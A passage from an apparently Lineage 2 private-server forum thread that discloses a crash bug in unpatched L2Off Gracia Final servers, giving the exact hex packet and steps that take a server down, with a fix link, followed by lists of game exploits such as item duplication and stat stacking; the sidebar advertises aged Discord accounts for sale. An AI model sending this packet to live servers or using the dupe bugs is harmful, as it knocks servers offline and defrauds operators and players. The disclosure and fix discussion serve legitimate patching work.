Jump to content

Crashing L2Off Server With Requestexenchantskillinfo Packet


Recommended Posts

Hi,

 

not tested on AdvExt64/Vanganth but crashes unpatched l2off revision 83 (doesn't work with protocol version 148 or higher). It's very simple, you go to NPC where you enchant skills, open skill enchanting and then just send RequestExEnchantSkillInfo packet with invalid enchantType (valid values are 0-3):

 

D0 0E 00 04 00 00 00 01 00 00 00 65 00 00 00

 

D0 : (uint8) ex packet

0E 00 : (uint16) RequestExEnchantSkillInfo

04 00 00 00 : (uint32) enchantType (4)

01 00 00 00 : (uint32) skillId (1)

65 00 00 00 : (uint32) skillLevel (101)

 

If the server is vulnerable, it will crash immediatelly.

 

Fix here: http://www.maxcheaters.com/topic/203385-fix-for-gf83-crash-with-requestexenchantskillinfo/ so be quick :)

Edited by eressea
Link to comment
Share on other sites

Hi,

 

not tested on AdvExt64/Vanganth but crashes unpatched l2off revision 83 (doesn't work with protocol version 148 or higher). It's very simple, you go to NPC where you enchant skills, open skill enchanting and then just send RequestExEnchantSkillInfo packet with invalid enchantType (valid values are 0-3):

 

D0 0E 00 04 00 00 00 01 00 00 00 65 00 00 00

 

D0 : (uint8) ex packet

0E 00 : (uint16) RequestExEnchantSkillInfo

04 00 00 00 : (uint32) enchantType (4)

01 00 00 00 : (uint32) skillId (1)

65 00 00 00 : (uint32) skillLevel (101)

 

If the server is vulnerable, it will crash immediatelly.

 

Fix here: http://www.maxcheaters.com/topic/203385-fix-for-gf83-crash-with-requestexenchantskillinfo/ so be quick :)

need to test on vang and advext64 :P

 

Edited by Rollo
Link to comment
Share on other sites

Nah it won't work on either, was on a list of bugs they had fixed back even before the gf server leaked public

 

Does anyone have such list? I desperately need it :))

Link to comment
Share on other sites

Does anyone have such list? I desperately need it :))

Couldn't find the little private list, was on one of my svn's which is loooooong since deactivated, but I did find a bug report doc from my original GF work so maybe you'll find that useful.

Gracia Final Bugs:
 
 
The Instance Bug:
 
This bug is fairly simple.
Several parties may enter an instance and fight to the end, to reach the boss.
The problem is that if a party logs out, and the rest finish the boss.
The instance penalty is NOT applied to the party who left/logged out.
 
Solution:
When entering instance, create vector with user DB ID's of all members, if instance is succesfull apply penalty to all users.
Maybe after the original function that applies penalty has run it's course.
Instance penalties are character based - see user_inzone for data.
 
 
 
Olympiad Bug:
 
Either 
 
A: Single 1v1 matches (class and classless) are treated as 3v3 matches and points are calced this way.
or
B: Single 1v1 matches (class and classless) are calculated the following way: 1/5 or 1/3 of points trade hands when a looser/winner is found.
 
 
 
 
Augmentation Bug:
 
Any Stat (str/int/men/con/dex/wit) - can be stacked constantly by equip/reequip and then logging out.
Process can be repeated for unlimited up to 99 in stat points.
 
Seems to work only with 1 stat point, if augment item has 2 stat incrementers, latter is chosen to stack.
If item is moved by database or server restarted - the stat stacking goes away.
Must be a bad map/vector stackign on somewhere.
 
 
 
Hide Bug:
 
Supposedly some bug wherein if you in prematch time @ olympiad use the skill "hide".
Your still attackable (maybe with /attackforce) - gonna be a shitter to test.
But yea.

Hide bug is a bit more broad than described though, pets can also continue auto attacking after hide skills are used and a few other things like that.

Another bug I remember off the top of my head also is the last second of cooldown on skills is ignored by the server.

 

have fun :p

Edited by Anarchy
Link to comment
Share on other sites

few i remember from playing - 1hp bug after rez, safe skill enchant with dropping book on the ground, pet inventory dupe, forever open SOD, there was also some shit item dupe with fishing but dont remember exactly, 3vs3 oly points calculation was bugged, opening any multisell from any npc.

Link to comment
Share on other sites

few i remember from playing - 1hp bug after rez, safe skill enchant with dropping book on the ground, pet inventory dupe, forever open SOD, there was also some shit item dupe with fishing but dont remember exactly, 3vs3 oly points calculation was bugged, opening any multisell from any npc.

 

Thanks a lot!

 

1hp bug - is it this one http://boards.lineage2.com/archive/index.php/t-201517.html ?

forever open SOD - can you please remember more details?

Link to comment
Share on other sites

1hp bug - is it this one http://boards.lineage2.com/archive/index.php/t-201517.html ?

forever open SOD - can you please remember more details?

1hp - yes exactly,

it was not closing itself after X time, so ppl were farming ECS's for days (sometimes weeks) until GM made restart (dont remember if he was able to close it while running),

problem was blocking Tiat instance.

 

Also funny one - pets were following owner on hide :D

Link to comment
Share on other sites

a few years ago, but now, this packet do not work, i remember do with "INVISIBLE" server crash's all of time. ;p

 

Fortunatelly these crashes are not invisible, they're clearly visible in LinError.txt

It would be worse if you manage to somehow corrupt stack or heap or something...

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



  • Posts

    • Thank you for your reply. I have removed it from the L2Server.exe file, but the L2Server still crashes. It doesn't crash if I don't start l2npc, otherwise it will crash within a few days at the latest.
    • Welcome to my store :  https://topestore.mysellix.io/fr/ 2015-2022 Aged Discord Account 2015 Discord Account : 50.99 $ 2016 Discord Account : 10$ 2017 Discord Account :3.99 $ 2018 Discord Account : 3.50$ 2019 Discord Account : 2.70 $ 2020 Discord Account :1.50$ 2021 Discord Account :0.99$ 2022 Discord Account :0.70$ Warranty :Lifetime Payment Methods : Crypto/ PayPal Contact Me On Discord Or Telegram Discord : @ultrasstore11 Telegram : https://t.me/ultrastore1 Welcome to my store :  https://topestore.mysellix.io/fr/ 2015-2022 Aged Discord Account 2015 Discord Account : 50.99 $ 2016 Discord Account : 10$ 2017 Discord Account :3.99 $ 2018 Discord Account : 3.50$ 2019 Discord Account : 2.70 $ 2020 Discord Account :1.50$ 2021 Discord Account :0.99$ 2022 Discord Account :0.70$ Warranty :Lifetime Payment Methods : Crypto/ PayPal Contact Me On Discord Or Telegram Discord : @ultrasstore11
    • L2 ArenaWar: Low Rate PvP Server with Free Buffs & Autofarm [PVP]⚔️ [Free]🆓 Classic Interlude with  3x XP rates! Free starter pack(no grade) to kickstart your adventure! Autofarm for convenient grinding! Free buffs to keep you fighting fit! (2 job buffs) No experience loss on death! (Except with Karma) Clear Karma system to keep things fair! ⚖️ Active community of 800-1k players! Join our Discord to learn more! >> Discord <<     Server website: https://l2arenawar.com/en/    
    • This is dedication! 2 years working on a problem. Congratulations!
    • You indeed have to save player position over Enterworld to properly clean it up later (if you don't, even trying to delete packet content would eventually keep it up), that's what we do with debug packet (which is a reusable Map of ExServerPrimitive packets) on aCis.   It doesn't solve the FPS stuttering - more you draw/delete lines, more your client becomes laggy. It's like if client wasn't deleting drawn points/lines properly, but instead simply hide them and redrawn content above.   If you got a solution, I would happy to integrate it.   You should check aCis#Player _debug packet integration, it allows very big amount of lines/points to be drawn, it is also reusable.   https://gitlab.com/Tryskell/acis_public/-/blob/master/aCis_gameserver/java/net/sf/l2j/gameserver/model/actor/Player.java?ref_type=heads https://gitlab.com/Tryskell/acis_public/-/blob/master/aCis_gameserver/java/net/sf/l2j/gameserver/network/clientpackets/EnterWorld.java?ref_type=heads  
  • Topics

×
×
  • Create New...